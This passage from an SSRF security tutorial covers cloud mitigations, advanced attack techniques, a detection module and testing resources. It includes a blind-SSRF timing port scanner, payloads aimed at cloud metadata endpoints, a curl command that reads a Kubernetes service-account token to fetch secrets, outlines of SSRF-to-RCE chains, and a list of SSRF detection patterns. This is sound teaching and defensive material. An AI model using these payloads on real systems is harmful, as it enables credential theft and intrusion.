82 return "", fmt.Errorf("redirects not allowed")
83 }
84
85 // Limit response size
86 maxSize := int64(10 * 1024 * 1024) // 10MB
87 body, err := io.ReadAll(io.LimitReader(resp.Body, maxSize))
88 if err != nil {
89 return "", err
90 }
91
92 return string(body), nil
93}Cloud-Specific Mitigations
AWS IMDSv2
1# Enforce IMDSv2 on EC2 instances
2aws ec2 modify-instance-metadata-options \
3 --instance-id i-1234567890abcdef0 \
4 --http-tokens required \
5 --http-put-response-hop-limit 1
6
7# Launch template with IMDSv2
8aws ec2 create-launch-template \
9 --launch-template-name my-template \
10 --launch-template-data '{
11 "MetadataOptions": {
12 "HttpTokens": "required",
13 "HttpPutResponseHopLimit": 1
14 }
15 }'Network-Level Protections
1# Kubernetes Network Policy to block metadata access
2apiVersion: networking.k8s.io/v1
3kind: NetworkPolicy
4metadata:
5 name: block-metadata
6spec:
7 podSelector: {}
8 policyTypes:
9 - Egress
10 egress:
11 # Allow DNS
12 - to:
13 - namespaceSelector: {}
14 ports:
15 - protocol: UDP
16 port: 53
17 # Block metadata endpoint
18 - to:
19 - ipBlock:
20 cidr: 0.0.0.0/0
21 except:
22 - 169.254.169.254/32
23 - 10.0.0.0/8
24 - 172.16.0.0/12
25 - 192.168.0.0/16Defense in Depth
7.Advanced Topics
This section covers advanced SSRF scenarios including blind exploitation, second-order vulnerabilities, and SSRF in modern cloud-native architectures.
Time-Based Blind SSRF
When you can't see responses, use timing analysis to infer information:
1import requests
2import time
3import statistics
4
5def time_based_port_scan(base_url, target_ip, port):
6 """
7 Use timing to detect open ports in blind SSRF
8 Open ports typically respond faster than filtered/closed ports
9 """
10 timings = []
11
12 for _ in range(5): # Multiple samples for accuracy
13 payload = f"{base_url}?url=http://{target_ip}:{port}/"
14
15 start = time.time()
16 try:
17 requests.get(payload, timeout=10)
18 except requests.exceptions.Timeout:
19 timings.append(10.0) # Timeout value
20 except Exception:
21 pass
22 elapsed = time.time() - start
23 timings.append(elapsed)
24
25 avg_time = statistics.mean(timings)
26 std_dev = statistics.stdev(timings)
27
28 # Analysis:
29 # Open ports: fast response (< 1s)
30 # Closed ports: immediate rejection or timeout
31 # Filtered: timeout (10s)
32
33 if avg_time < 1.5 and std_dev < 0.5:
34 return "OPEN"
35 elif avg_time > 8:
36 return "FILTERED"
37 else:
38 return "CLOSED"
39
40# Scan common ports
41target = "192.168.1.100"
42common_ports = [22, 80, 443, 3306, 6379, 8080]
43
44for port in common_ports:
45 status = time_based_port_scan("http://vulnerable.com/fetch", target, port)
46 print(f"Port {port}: {status}")Second-Order SSRF
Second-order SSRF occurs when user input is stored and later used in a server-side request without the user's direct interaction.
Hidden Danger
1// Example: User profile with avatar URL
2
3// Step 1: User sets avatar URL (stored in database)
4POST /api/profile/update
5{
6 "avatar_url": "http://169.254.169.254/latest/meta-data/"
7}
8
9// Step 2: Later, admin views user profile
10// Application fetches avatar URL server-side to generate thumbnail
11GET /api/admin/users/123
12
13// Server-side code:
14async function generateThumbnail(user) {
15 // VULNERABLE: Fetches user-controlled URL
16 const avatarUrl = user.avatar_url;
17 const response = await fetch(avatarUrl);
18 const image = await response.buffer();
19 return createThumbnail(image);
20}
21
22// SSRF is triggered when admin views the profile!SSRF in Microservices
Cloud-native architectures introduce new SSRF attack surfaces:
Kubernetes Service Discovery
In Kubernetes, services can be accessed via DNS:
1# Internal service discovery
2http://service-name.namespace.svc.cluster.local
3
4# Default namespace
5http://kubernetes.default.svc.cluster.local
6
7# Accessing Kubernetes API
8http://kubernetes.default.svc.cluster.local/api/v1/namespaces
9http://kubernetes.default.svc.cluster.local/api/v1/secrets
10
11# With service account token
12curl -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
13 https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/secretsSSRF to RCE Chains
SSRF can be chained with other vulnerabilities for maximum impact:
SSRF → Redis → RCE
Use gopher protocol to send Redis commands, write web shell to disk, achieve RCE
SSRF → Elasticsearch → RCE
Access Elasticsearch API, exploit known CVEs, execute arbitrary code
SSRF → Kubernetes API → Container Escape
Access K8s API with service account token, create privileged pod, escape to host
SSRF → XXE → File Read → Credential Theft
Trigger XML parsing on internal service, exploit XXE, read sensitive files
SSRF in Serverless Functions
Serverless environments have unique SSRF risks:
1# AWS Lambda function vulnerable to SSRF
2import json
3import urllib.request
4
5def lambda_handler(event, context):
6 # User-controlled URL from API Gateway
7 url = event.get('queryStringParameters', {}).get('url')
8
9 # VULNERABLE: No validation
10 response = urllib.request.urlopen(url)
11 data = response.read()
12
13 return {
14 'statusCode': 200,
15 'body': json.dumps(data.decode())
16 }
17
18# Exploitation:
19# GET /function?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/lambda-role
20
21# Lambda's IAM role credentials are exposed!
22# Attacker can now access all resources the Lambda has permissions forServerless Risks
Monitoring and Detection
Implement monitoring to detect SSRF attempts:
1# Log and alert on suspicious patterns
2
3import logging
4from dataclasses import dataclass
5from typing import List
6
7@dataclass
8class SSRFIndicator:
9 pattern: str
10 severity: str
11 description: str
12
13SSRF_INDICATORS: List[SSRFIndicator] = [
14 SSRFIndicator("169.254.169.254", "CRITICAL", "AWS/Azure metadata access"),
15 SSRFIndicator("metadata.google.internal", "CRITICAL", "GCP metadata access"),
16 SSRFIndicator("127.0.0.1", "HIGH", "Localhost access"),
17 SSRFIndicator("localhost", "HIGH", "Localhost access"),
18 SSRFIndicator("192.168.", "HIGH", "Private IP range"),
19 SSRFIndicator("10.", "HIGH", "Private IP range"),
20 SSRFIndicator("file://", "CRITICAL", "File protocol"),
21 SSRFIndicator("gopher://", "HIGH", "Gopher protocol"),
22 SSRFIndicator("dict://", "MEDIUM", "Dict protocol"),
23]
24
25def detect_ssrf_attempt(url: str) -> List[SSRFIndicator]:
26 """Detect potential SSRF in URL"""
27 detected = []
28 url_lower = url.lower()
29
30 for indicator in SSRF_INDICATORS:
31 if indicator.pattern.lower() in url_lower:
32 detected.append(indicator)
33 logging.warning(
34 f"SSRF attempt detected: {indicator.description}",
35 extra={
36 'url': url,
37 'severity': indicator.severity,
38 'pattern': indicator.pattern
39 }
40 )
41
42 return detected
43
44# Usage in your application
45def process_url(url):
46 indicators = detect_ssrf_attempt(url)
47
48 if any(i.severity == "CRITICAL" for i in indicators):
49 # Block and alert
50 raise SecurityException("SSRF attempt blocked")
51
52 if indicators:
53 # Log for investigation
54 logging.warning(f"Suspicious URL processed: {url}")
55
56 # Continue with validation...Security Operations
8.Tools & Resources
This section provides a curated list of tools, resources, and references for SSRF testing and prevention.
Testing Tools
Burp Suite
Industry-standard web security testing platform with SSRF detection capabilities.
- • Burp Collaborator for out-of-band detection
- • Active/passive SSRF scanning
- • Custom extensions available
ffuf
Fast web fuzzer for discovering SSRF endpoints and testing bypasses.
- • URL parameter fuzzing
- • Header injection testing
- • Response analysis
SSRFmap
Automated SSRF exploitation tool with multiple protocol support.
- • Cloud metadata enumeration
- • Gopher/dict protocol support
- • Bypass payload generation
interact.sh
Out-of-band interaction server for blind vulnerability detection.
- • DNS/HTTP callback detection
- • Free hosted service
- • Self-hosted option available
Security References
OWASP SSRF Prevention Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
PortSwigger Web Security Academy
https://portswigger.net/web-security/ssrf - Interactive labs and learning materials
HackerOne SSRF Reports
https://hackerone.com/hacktivity?querystring=ssrf - Real bug bounty reports
AWS Security Best Practices
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html - IMDSv2 documentation
Further Reading
- •"A New Era of SSRF" by Orange Tsai - Advanced SSRF exploitation techniques
- •CWE-918 - Common Weakness Enumeration for SSRF
- •RFC 1918 - Private IP address allocation
- •Cloud Security Alliance - Cloud-specific security guidance
Continuous Learning
Summary
Server-Side Request Forgery remains one of the most impactful web security vulnerabilities. This guide has covered:
- ✓Understanding SSRF mechanics and attack vectors
- ✓Detection and identification methodologies
- ✓Exploitation techniques and bypass methods
- ✓Real-world examples and case studies
- ✓Prevention strategies across languages
- ✓Advanced topics and modern architectures
Remember: defense-in-depth is key. No single control is perfect. Combine application validation, network segmentation, least privilege, and continuous monitoring for effective SSRF prevention.